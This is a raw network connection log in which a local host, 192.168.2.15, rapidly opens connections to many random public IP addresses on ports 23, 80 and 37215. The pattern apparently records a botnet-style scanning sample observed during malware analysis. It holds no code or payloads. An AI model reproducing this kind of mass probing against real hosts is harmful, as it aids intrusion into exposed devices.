Feb 4, 2025 18:11:17.659847021 CET	49810	37215	192.168.2.15	156.80.186.253
Feb 4, 2025 18:11:17.660768986 CET	50268	37215	192.168.2.15	156.80.186.253
Feb 4, 2025 18:11:17.661123037 CET	37215	33700	197.133.40.24	192.168.2.15
Feb 4, 2025 18:11:17.661936045 CET	37215	34160	197.133.40.24	192.168.2.15
Feb 4, 2025 18:11:17.661989927 CET	34160	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.661989927 CET	34160	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.662408113 CET	37215	38760	41.29.6.122	192.168.2.15
Feb 4, 2025 18:11:17.664633036 CET	37215	49810	156.80.186.253	192.168.2.15
Feb 4, 2025 18:11:17.666987896 CET	37215	34160	197.133.40.24	192.168.2.15
Feb 4, 2025 18:11:17.667042017 CET	34160	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:17.672424078 CET	80	53966	82.32.93.110	192.168.2.15
Feb 4, 2025 18:11:17.682652950 CET	33948	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.682662010 CET	57164	23	192.168.2.15	108.109.210.172
Feb 4, 2025 18:11:17.682662010 CET	52098	80	192.168.2.15	150.249.4.56
Feb 4, 2025 18:11:17.682662010 CET	55030	23	192.168.2.15	57.205.39.29
Feb 4, 2025 18:11:17.682663918 CET	35530	37215	192.168.2.15	156.161.111.247
Feb 4, 2025 18:11:17.682665110 CET	36570	23	192.168.2.15	103.187.98.3
Feb 4, 2025 18:11:17.682665110 CET	40998	80	192.168.2.15	27.92.164.132
Feb 4, 2025 18:11:17.682666063 CET	42680	23	192.168.2.15	201.160.33.69
Feb 4, 2025 18:11:17.682666063 CET	56196	23	192.168.2.15	178.240.68.167
Feb 4, 2025 18:11:17.682682037 CET	51756	37215	192.168.2.15	41.4.98.12
Feb 4, 2025 18:11:17.682684898 CET	43502	37215	192.168.2.15	156.191.31.192
Feb 4, 2025 18:11:17.682684898 CET	58936	37215	192.168.2.15	41.130.45.55
Feb 4, 2025 18:11:17.682689905 CET	53468	37215	192.168.2.15	41.90.199.41
Feb 4, 2025 18:11:17.682688951 CET	39476	37215	192.168.2.15	197.75.231.248
Feb 4, 2025 18:11:17.687577963 CET	80	33948	13.108.32.211	192.168.2.15
Feb 4, 2025 18:11:17.687587023 CET	37215	35530	156.161.111.247	192.168.2.15
Feb 4, 2025 18:11:17.687613010 CET	33948	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.687627077 CET	35530	37215	192.168.2.15	156.161.111.247
Feb 4, 2025 18:11:17.687750101 CET	33948	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.687750101 CET	33948	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.687851906 CET	35530	37215	192.168.2.15	156.161.111.247
Feb 4, 2025 18:11:17.687851906 CET	35530	37215	192.168.2.15	156.161.111.247
Feb 4, 2025 18:11:17.688806057 CET	34374	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.689079046 CET	35960	37215	192.168.2.15	156.161.111.247
Feb 4, 2025 18:11:17.692498922 CET	80	33948	13.108.32.211	192.168.2.15
Feb 4, 2025 18:11:17.692689896 CET	37215	35530	156.161.111.247	192.168.2.15
Feb 4, 2025 18:11:17.693537951 CET	80	34374	13.108.32.211	192.168.2.15
Feb 4, 2025 18:11:17.693577051 CET	34374	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.693603039 CET	34374	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.698594093 CET	80	34374	13.108.32.211	192.168.2.15
Feb 4, 2025 18:11:17.698635101 CET	34374	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:17.704474926 CET	37215	38760	41.29.6.122	192.168.2.15
Feb 4, 2025 18:11:17.704483986 CET	37215	33700	197.133.40.24	192.168.2.15
Feb 4, 2025 18:11:17.708425045 CET	37215	49810	156.80.186.253	192.168.2.15
Feb 4, 2025 18:11:17.714651108 CET	44860	37215	192.168.2.15	156.66.193.93
Feb 4, 2025 18:11:17.714659929 CET	37834	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.714659929 CET	36182	37215	192.168.2.15	41.26.103.153
Feb 4, 2025 18:11:17.714662075 CET	48030	23	192.168.2.15	23.235.121.239
Feb 4, 2025 18:11:17.714663029 CET	52140	23	192.168.2.15	36.176.57.6
Feb 4, 2025 18:11:17.714667082 CET	46318	80	192.168.2.15	124.18.92.244
Feb 4, 2025 18:11:17.714670897 CET	44984	23	192.168.2.15	83.203.152.236
Feb 4, 2025 18:11:17.714670897 CET	54352	80	192.168.2.15	159.222.186.124
Feb 4, 2025 18:11:17.714670897 CET	36906	23	192.168.2.15	61.216.233.236
Feb 4, 2025 18:11:17.714675903 CET	39714	37215	192.168.2.15	156.95.70.65
Feb 4, 2025 18:11:17.714673996 CET	48672	37215	192.168.2.15	156.218.48.79
Feb 4, 2025 18:11:17.714677095 CET	43514	23	192.168.2.15	211.5.82.30
Feb 4, 2025 18:11:17.714675903 CET	52074	23	192.168.2.15	120.64.224.218
Feb 4, 2025 18:11:17.714679003 CET	52064	80	192.168.2.15	62.209.59.232
Feb 4, 2025 18:11:17.714673996 CET	52002	37215	192.168.2.15	197.52.101.177
Feb 4, 2025 18:11:17.714673996 CET	55558	80	192.168.2.15	139.0.119.230
Feb 4, 2025 18:11:17.714689016 CET	56088	23	192.168.2.15	148.9.7.97
Feb 4, 2025 18:11:17.714689016 CET	39500	37215	192.168.2.15	41.71.7.151
Feb 4, 2025 18:11:17.714692116 CET	59832	23	192.168.2.15	180.109.28.208
Feb 4, 2025 18:11:17.714706898 CET	45022	80	192.168.2.15	32.71.11.101
Feb 4, 2025 18:11:17.714706898 CET	56738	37215	192.168.2.15	156.106.230.150
Feb 4, 2025 18:11:17.714721918 CET	45676	80	192.168.2.15	12.84.237.46
Feb 4, 2025 18:11:17.714732885 CET	44424	23	192.168.2.15	184.200.125.10
Feb 4, 2025 18:11:17.719425917 CET	37215	44860	156.66.193.93	192.168.2.15
Feb 4, 2025 18:11:17.719444990 CET	80	37834	35.149.142.163	192.168.2.15
Feb 4, 2025 18:11:17.719464064 CET	44860	37215	192.168.2.15	156.66.193.93
Feb 4, 2025 18:11:17.719472885 CET	37834	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.719587088 CET	37834	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.719587088 CET	37834	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.719693899 CET	44860	37215	192.168.2.15	156.66.193.93
Feb 4, 2025 18:11:17.719693899 CET	44860	37215	192.168.2.15	156.66.193.93
Feb 4, 2025 18:11:17.720515966 CET	38216	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.720762968 CET	45240	37215	192.168.2.15	156.66.193.93
Feb 4, 2025 18:11:17.724363089 CET	80	37834	35.149.142.163	192.168.2.15
Feb 4, 2025 18:11:17.724459887 CET	37215	44860	156.66.193.93	192.168.2.15
Feb 4, 2025 18:11:17.725248098 CET	80	38216	35.149.142.163	192.168.2.15
Feb 4, 2025 18:11:17.725296021 CET	38216	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.725344896 CET	38216	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.730307102 CET	80	38216	35.149.142.163	192.168.2.15
Feb 4, 2025 18:11:17.730349064 CET	38216	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:17.736434937 CET	37215	35530	156.161.111.247	192.168.2.15
Feb 4, 2025 18:11:17.736444950 CET	80	33948	13.108.32.211	192.168.2.15
Feb 4, 2025 18:11:17.746649981 CET	43492	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.746649981 CET	48028	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:17.746656895 CET	53532	37215	192.168.2.15	41.229.92.72
Feb 4, 2025 18:11:17.746665955 CET	44692	80	192.168.2.15	76.247.142.44
Feb 4, 2025 18:11:17.746665955 CET	41488	23	192.168.2.15	83.221.63.72
Feb 4, 2025 18:11:17.746668100 CET	51486	23	192.168.2.15	146.120.87.140
Feb 4, 2025 18:11:17.746668100 CET	48582	37215	192.168.2.15	156.89.240.196
Feb 4, 2025 18:11:17.746669054 CET	38440	23	192.168.2.15	18.7.3.199
Feb 4, 2025 18:11:17.746670008 CET	55034	80	192.168.2.15	68.223.197.207
Feb 4, 2025 18:11:17.746680975 CET	32988	80	192.168.2.15	68.2.40.103
Feb 4, 2025 18:11:17.746682882 CET	36236	23	192.168.2.15	94.164.192.93
Feb 4, 2025 18:11:17.746682882 CET	51912	80	192.168.2.15	151.84.254.55
Feb 4, 2025 18:11:17.746686935 CET	51034	23	192.168.2.15	148.177.1.189
Feb 4, 2025 18:11:17.746689081 CET	56622	37215	192.168.2.15	156.40.158.242
Feb 4, 2025 18:11:17.746696949 CET	46936	37215	192.168.2.15	41.170.244.75
Feb 4, 2025 18:11:17.746696949 CET	45606	80	192.168.2.15	219.26.94.243
Feb 4, 2025 18:11:17.746696949 CET	59176	23	192.168.2.15	180.35.33.201
Feb 4, 2025 18:11:17.746697903 CET	44240	80	192.168.2.15	151.135.231.28
Feb 4, 2025 18:11:17.746697903 CET	46862	23	192.168.2.15	112.84.19.109
Feb 4, 2025 18:11:17.746715069 CET	38296	23	192.168.2.15	68.111.155.67
Feb 4, 2025 18:11:17.746716022 CET	50898	80	192.168.2.15	42.77.12.95
Feb 4, 2025 18:11:17.751477003 CET	80	43492	203.195.122.98	192.168.2.15
Feb 4, 2025 18:11:17.751538992 CET	37215	48028	156.232.252.30	192.168.2.15
Feb 4, 2025 18:11:17.751569033 CET	43492	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.751632929 CET	48028	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:17.751632929 CET	43492	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.751632929 CET	43492	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.751737118 CET	48028	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:17.752357006 CET	43826	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.756414890 CET	80	43492	203.195.122.98	192.168.2.15
Feb 4, 2025 18:11:17.756800890 CET	37215	48028	156.232.252.30	192.168.2.15
Feb 4, 2025 18:11:17.756849051 CET	48028	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:17.757143021 CET	80	43826	203.195.122.98	192.168.2.15
Feb 4, 2025 18:11:17.757217884 CET	43826	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.757217884 CET	43826	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.762151003 CET	80	43826	203.195.122.98	192.168.2.15
Feb 4, 2025 18:11:17.762206078 CET	43826	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:17.772433996 CET	37215	44860	156.66.193.93	192.168.2.15
Feb 4, 2025 18:11:17.772452116 CET	80	37834	35.149.142.163	192.168.2.15
Feb 4, 2025 18:11:17.778654099 CET	46348	23	192.168.2.15	192.150.137.169
Feb 4, 2025 18:11:17.778657913 CET	48432	23	192.168.2.15	201.153.104.134
Feb 4, 2025 18:11:17.778659105 CET	47150	23	192.168.2.15	59.56.94.253
Feb 4, 2025 18:11:17.778657913 CET	33570	80	192.168.2.15	140.115.164.99
Feb 4, 2025 18:11:17.778661013 CET	34896	80	192.168.2.15	96.93.172.124
Feb 4, 2025 18:11:17.778665066 CET	51770	80	192.168.2.15	59.153.46.112
Feb 4, 2025 18:11:17.778665066 CET	57710	37215	192.168.2.15	41.229.202.43
Feb 4, 2025 18:11:17.778665066 CET	57030	80	192.168.2.15	216.239.162.11
Feb 4, 2025 18:11:17.778670073 CET	34518	37215	192.168.2.15	41.216.131.125
Feb 4, 2025 18:11:17.778671026 CET	42302	37215	192.168.2.15	41.197.212.105
Feb 4, 2025 18:11:17.778671026 CET	49970	37215	192.168.2.15	197.159.207.228
Feb 4, 2025 18:11:17.778673887 CET	54492	23	192.168.2.15	210.181.253.13
Feb 4, 2025 18:11:17.778673887 CET	46678	23	192.168.2.15	97.38.106.62
Feb 4, 2025 18:11:17.778673887 CET	44900	37215	192.168.2.15	41.156.70.108
Feb 4, 2025 18:11:17.778681040 CET	40238	23	192.168.2.15	125.34.10.8
Feb 4, 2025 18:11:17.778681993 CET	37844	37215	192.168.2.15	41.80.3.189
Feb 4, 2025 18:11:17.778681040 CET	59466	80	192.168.2.15	204.195.131.15
Feb 4, 2025 18:11:17.778687954 CET	50316	23	192.168.2.15	146.0.93.112
Feb 4, 2025 18:11:17.778692007 CET	50200	80	192.168.2.15	129.122.69.84
Feb 4, 2025 18:11:17.778692007 CET	49834	23	192.168.2.15	25.7.1.179
Feb 4, 2025 18:11:17.778702974 CET	34586	23	192.168.2.15	17.83.44.167
Feb 4, 2025 18:11:17.778702974 CET	48412	37215	192.168.2.15	197.249.19.10
Feb 4, 2025 18:11:17.778702974 CET	53626	80	192.168.2.15	17.53.64.207
Feb 4, 2025 18:11:17.778703928 CET	47068	80	192.168.2.15	58.119.47.250
Feb 4, 2025 18:11:17.778707027 CET	34406	37215	192.168.2.15	197.172.1.62
Feb 4, 2025 18:11:17.778711081 CET	57316	23	192.168.2.15	121.30.131.180
Feb 4, 2025 18:11:17.783529043 CET	23	46348	192.150.137.169	192.168.2.15
Feb 4, 2025 18:11:17.783540964 CET	23	47150	59.56.94.253	192.168.2.15
Feb 4, 2025 18:11:17.783550024 CET	23	48432	201.153.104.134	192.168.2.15
Feb 4, 2025 18:11:17.783579111 CET	46348	23	192.168.2.15	192.150.137.169
Feb 4, 2025 18:11:17.783580065 CET	48432	23	192.168.2.15	201.153.104.134
Feb 4, 2025 18:11:17.783586025 CET	47150	23	192.168.2.15	59.56.94.253
Feb 4, 2025 18:11:17.800388098 CET	80	43492	203.195.122.98	192.168.2.15
Feb 4, 2025 18:11:17.810643911 CET	56618	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.810656071 CET	48878	23	192.168.2.15	201.162.123.253
Feb 4, 2025 18:11:17.810656071 CET	60516	23	192.168.2.15	97.21.127.190
Feb 4, 2025 18:11:17.810656071 CET	59738	80	192.168.2.15	62.152.196.59
Feb 4, 2025 18:11:17.810657978 CET	36398	23	192.168.2.15	88.106.15.52
Feb 4, 2025 18:11:17.810659885 CET	32864	80	192.168.2.15	70.218.234.158
Feb 4, 2025 18:11:17.810666084 CET	44884	23	192.168.2.15	43.165.196.189
Feb 4, 2025 18:11:17.810667038 CET	42670	80	192.168.2.15	61.237.9.180
Feb 4, 2025 18:11:17.810669899 CET	59998	23	192.168.2.15	169.73.246.89
Feb 4, 2025 18:11:17.810669899 CET	37562	80	192.168.2.15	218.209.237.53
Feb 4, 2025 18:11:17.810672998 CET	50204	23	192.168.2.15	213.177.22.203
Feb 4, 2025 18:11:17.810672998 CET	35980	80	192.168.2.15	134.102.52.20
Feb 4, 2025 18:11:17.810672998 CET	55510	80	192.168.2.15	159.187.251.131
Feb 4, 2025 18:11:17.810684919 CET	46548	23	192.168.2.15	150.113.3.162
Feb 4, 2025 18:11:17.810689926 CET	56994	37215	192.168.2.15	156.221.146.36
Feb 4, 2025 18:11:17.810700893 CET	36380	37215	192.168.2.15	156.52.86.18
Feb 4, 2025 18:11:17.810702085 CET	45076	23	192.168.2.15	13.8.230.115
Feb 4, 2025 18:11:17.810703993 CET	55458	80	192.168.2.15	25.237.15.163
Feb 4, 2025 18:11:17.810707092 CET	33380	80	192.168.2.15	70.84.204.19
Feb 4, 2025 18:11:17.810717106 CET	44530	23	192.168.2.15	207.100.187.146
Feb 4, 2025 18:11:17.810719013 CET	44074	37215	192.168.2.15	197.0.255.111
Feb 4, 2025 18:11:17.810719013 CET	47936	80	192.168.2.15	213.60.47.102
Feb 4, 2025 18:11:17.810722113 CET	38290	37215	192.168.2.15	41.89.103.100
Feb 4, 2025 18:11:17.815469027 CET	80	56618	163.191.21.183	192.168.2.15
Feb 4, 2025 18:11:17.815479040 CET	23	60516	97.21.127.190	192.168.2.15
Feb 4, 2025 18:11:17.815486908 CET	23	48878	201.162.123.253	192.168.2.15
Feb 4, 2025 18:11:17.815512896 CET	56618	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.815512896 CET	60516	23	192.168.2.15	97.21.127.190
Feb 4, 2025 18:11:17.815668106 CET	48878	23	192.168.2.15	201.162.123.253
Feb 4, 2025 18:11:17.815670967 CET	56618	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.815670967 CET	56618	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.816445112 CET	56842	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.820451021 CET	80	56618	163.191.21.183	192.168.2.15
Feb 4, 2025 18:11:17.821268082 CET	80	56842	163.191.21.183	192.168.2.15
Feb 4, 2025 18:11:17.821307898 CET	56842	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.821329117 CET	56842	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.826353073 CET	80	56842	163.191.21.183	192.168.2.15
Feb 4, 2025 18:11:17.826395035 CET	56842	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:17.842653036 CET	37202	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.842653036 CET	49602	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:17.842653990 CET	36524	23	192.168.2.15	101.149.182.66
Feb 4, 2025 18:11:17.842653990 CET	44438	23	192.168.2.15	67.19.104.111
Feb 4, 2025 18:11:17.842672110 CET	58266	23	192.168.2.15	157.114.240.247
Feb 4, 2025 18:11:17.842672110 CET	38488	23	192.168.2.15	154.23.122.183
Feb 4, 2025 18:11:17.842674017 CET	55956	80	192.168.2.15	173.182.50.119
Feb 4, 2025 18:11:17.842674017 CET	49222	23	192.168.2.15	219.24.38.221
Feb 4, 2025 18:11:17.842674971 CET	50440	23	192.168.2.15	23.37.174.216
Feb 4, 2025 18:11:17.842674971 CET	55176	80	192.168.2.15	186.116.115.17
Feb 4, 2025 18:11:17.842674971 CET	44594	23	192.168.2.15	149.64.123.161
Feb 4, 2025 18:11:17.842677116 CET	52760	80	192.168.2.15	87.159.213.41
Feb 4, 2025 18:11:17.842694044 CET	60398	23	192.168.2.15	200.98.163.145
Feb 4, 2025 18:11:17.842700958 CET	51950	23	192.168.2.15	77.105.124.183
Feb 4, 2025 18:11:17.842701912 CET	33860	80	192.168.2.15	74.163.151.103
Feb 4, 2025 18:11:17.842703104 CET	59010	23	192.168.2.15	125.246.67.203
Feb 4, 2025 18:11:17.842703104 CET	42064	80	192.168.2.15	79.68.93.23
Feb 4, 2025 18:11:17.842703104 CET	46866	80	192.168.2.15	44.56.110.156
Feb 4, 2025 18:11:17.842703104 CET	48500	23	192.168.2.15	80.214.79.100
Feb 4, 2025 18:11:17.842708111 CET	53464	80	192.168.2.15	35.94.114.161
Feb 4, 2025 18:11:17.842710018 CET	48400	23	192.168.2.15	72.233.191.4
Feb 4, 2025 18:11:17.847436905 CET	80	37202	67.218.78.191	192.168.2.15
Feb 4, 2025 18:11:17.847457886 CET	80	49602	216.213.46.231	192.168.2.15
Feb 4, 2025 18:11:17.847485065 CET	37202	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.847496033 CET	49602	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:17.847596884 CET	37202	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.847596884 CET	37202	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.848191023 CET	37382	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.849183083 CET	49602	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:17.849183083 CET	49602	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:17.850156069 CET	49788	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:17.852312088 CET	80	37202	67.218.78.191	192.168.2.15
Feb 4, 2025 18:11:17.852994919 CET	80	37382	67.218.78.191	192.168.2.15
Feb 4, 2025 18:11:17.853038073 CET	37382	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.853095055 CET	37382	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.853919983 CET	80	49602	216.213.46.231	192.168.2.15
Feb 4, 2025 18:11:17.860426903 CET	80	37382	67.218.78.191	192.168.2.15
Feb 4, 2025 18:11:17.864433050 CET	80	56618	163.191.21.183	192.168.2.15
Feb 4, 2025 18:11:17.869193077 CET	80	37382	67.218.78.191	192.168.2.15
Feb 4, 2025 18:11:17.869266987 CET	37382	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:17.874658108 CET	43514	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:17.874670029 CET	46948	80	192.168.2.15	198.160.236.62
Feb 4, 2025 18:11:17.874670029 CET	44218	80	192.168.2.15	128.144.240.143
Feb 4, 2025 18:11:17.874671936 CET	56388	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.874672890 CET	53512	80	192.168.2.15	168.68.13.8
Feb 4, 2025 18:11:17.874687910 CET	36594	23	192.168.2.15	27.146.17.170
Feb 4, 2025 18:11:17.874694109 CET	50532	80	192.168.2.15	212.81.176.109
Feb 4, 2025 18:11:17.874695063 CET	36338	23	192.168.2.15	65.223.132.139
Feb 4, 2025 18:11:17.874696970 CET	33022	80	192.168.2.15	192.28.191.237
Feb 4, 2025 18:11:17.874696970 CET	33660	80	192.168.2.15	40.223.8.205
Feb 4, 2025 18:11:17.874706030 CET	38282	23	192.168.2.15	153.133.111.189
Feb 4, 2025 18:11:17.874706984 CET	49072	23	192.168.2.15	91.197.80.122
Feb 4, 2025 18:11:17.874722958 CET	53916	23	192.168.2.15	143.176.243.0
Feb 4, 2025 18:11:17.874722958 CET	41752	80	192.168.2.15	180.247.222.119
Feb 4, 2025 18:11:17.874731064 CET	56602	80	192.168.2.15	126.182.35.205
Feb 4, 2025 18:11:17.874732971 CET	49738	23	192.168.2.15	182.8.63.154
Feb 4, 2025 18:11:17.879570007 CET	80	43514	107.223.216.240	192.168.2.15
Feb 4, 2025 18:11:17.879584074 CET	80	56388	166.138.238.35	192.168.2.15
Feb 4, 2025 18:11:17.879674911 CET	43514	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:17.879678011 CET	56388	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.879929066 CET	56388	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.879929066 CET	56388	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.880682945 CET	56540	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.881738901 CET	43514	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:17.881738901 CET	43514	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:17.882509947 CET	43664	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:17.884674072 CET	80	56388	166.138.238.35	192.168.2.15
Feb 4, 2025 18:11:17.885471106 CET	80	56540	166.138.238.35	192.168.2.15
Feb 4, 2025 18:11:17.885539055 CET	56540	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.885539055 CET	56540	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.886482000 CET	80	43514	107.223.216.240	192.168.2.15
Feb 4, 2025 18:11:17.891400099 CET	80	56540	166.138.238.35	192.168.2.15
Feb 4, 2025 18:11:17.891452074 CET	56540	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:17.896404982 CET	80	49602	216.213.46.231	192.168.2.15
Feb 4, 2025 18:11:17.896430016 CET	80	37202	67.218.78.191	192.168.2.15
Feb 4, 2025 18:11:17.904006958 CET	80	56376	66.135.17.87	192.168.2.15
Feb 4, 2025 18:11:17.904083014 CET	56376	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:17.906652927 CET	41766	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:17.906652927 CET	40134	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.906661034 CET	41892	80	192.168.2.15	41.15.181.215
Feb 4, 2025 18:11:17.906666994 CET	39252	80	192.168.2.15	179.62.125.110
Feb 4, 2025 18:11:17.906666994 CET	41838	80	192.168.2.15	34.27.137.224
Feb 4, 2025 18:11:17.906666994 CET	51320	80	192.168.2.15	2.51.215.69
Feb 4, 2025 18:11:17.906668901 CET	46724	80	192.168.2.15	206.199.245.36
Feb 4, 2025 18:11:17.906668901 CET	54694	80	192.168.2.15	4.252.219.51
Feb 4, 2025 18:11:17.906668901 CET	35102	80	192.168.2.15	126.143.12.162
Feb 4, 2025 18:11:17.906675100 CET	51508	80	192.168.2.15	98.185.1.120
Feb 4, 2025 18:11:17.906677961 CET	45988	23	192.168.2.15	46.166.230.137
Feb 4, 2025 18:11:17.906681061 CET	45286	80	192.168.2.15	134.62.75.223
Feb 4, 2025 18:11:17.906682968 CET	37730	80	192.168.2.15	57.100.84.199
Feb 4, 2025 18:11:17.911546946 CET	80	41766	124.184.212.227	192.168.2.15
Feb 4, 2025 18:11:17.911557913 CET	80	40134	150.170.24.90	192.168.2.15
Feb 4, 2025 18:11:17.911602020 CET	41766	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:17.911602020 CET	40134	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.911725998 CET	40134	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.911725998 CET	40134	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.912609100 CET	40252	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.913489103 CET	41766	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:17.913489103 CET	41766	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:17.914335966 CET	41884	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:17.916507959 CET	80	40134	150.170.24.90	192.168.2.15
Feb 4, 2025 18:11:17.917363882 CET	80	40252	150.170.24.90	192.168.2.15
Feb 4, 2025 18:11:17.917442083 CET	40252	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.917442083 CET	40252	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.918237925 CET	80	41766	124.184.212.227	192.168.2.15
Feb 4, 2025 18:11:17.922369957 CET	80	40252	150.170.24.90	192.168.2.15
Feb 4, 2025 18:11:17.922419071 CET	40252	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:17.928447962 CET	80	43514	107.223.216.240	192.168.2.15
Feb 4, 2025 18:11:17.928462982 CET	80	56388	166.138.238.35	192.168.2.15
Feb 4, 2025 18:11:17.942645073 CET	46312	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:17.942648888 CET	52782	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:17.942651987 CET	34624	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:17.942655087 CET	34264	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:17.942655087 CET	56156	80	192.168.2.15	12.97.179.162
Feb 4, 2025 18:11:17.942655087 CET	48098	80	192.168.2.15	173.206.97.190
Feb 4, 2025 18:11:17.942662954 CET	48924	80	192.168.2.15	95.13.149.114
Feb 4, 2025 18:11:17.942665100 CET	37402	80	192.168.2.15	181.156.61.20
Feb 4, 2025 18:11:17.942671061 CET	41306	80	192.168.2.15	80.99.95.150
Feb 4, 2025 18:11:17.942671061 CET	57758	80	192.168.2.15	140.218.15.131
Feb 4, 2025 18:11:17.942671061 CET	55872	80	192.168.2.15	108.82.109.60
Feb 4, 2025 18:11:17.942671061 CET	36514	80	192.168.2.15	93.55.208.184
Feb 4, 2025 18:11:17.942699909 CET	60086	80	192.168.2.15	40.54.178.141
Feb 4, 2025 18:11:17.947622061 CET	80	46312	104.108.17.71	192.168.2.15
Feb 4, 2025 18:11:17.947634935 CET	80	52782	84.59.111.135	192.168.2.15
Feb 4, 2025 18:11:17.947652102 CET	80	34624	139.62.254.107	192.168.2.15
Feb 4, 2025 18:11:17.947685003 CET	46312	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:17.947689056 CET	52782	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:17.947704077 CET	34624	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:17.947711945 CET	46312	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:17.947815895 CET	52782	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:17.947819948 CET	34624	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:17.952754974 CET	80	46312	104.108.17.71	192.168.2.15
Feb 4, 2025 18:11:17.952799082 CET	46312	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:17.952951908 CET	80	52782	84.59.111.135	192.168.2.15
Feb 4, 2025 18:11:17.952994108 CET	52782	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:17.953001976 CET	80	34624	139.62.254.107	192.168.2.15
Feb 4, 2025 18:11:17.953042030 CET	34624	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:17.960459948 CET	80	41766	124.184.212.227	192.168.2.15
Feb 4, 2025 18:11:17.960472107 CET	80	40134	150.170.24.90	192.168.2.15
Feb 4, 2025 18:11:17.974659920 CET	38324	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:17.974664927 CET	53732	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:17.974667072 CET	37310	80	192.168.2.15	171.125.195.174
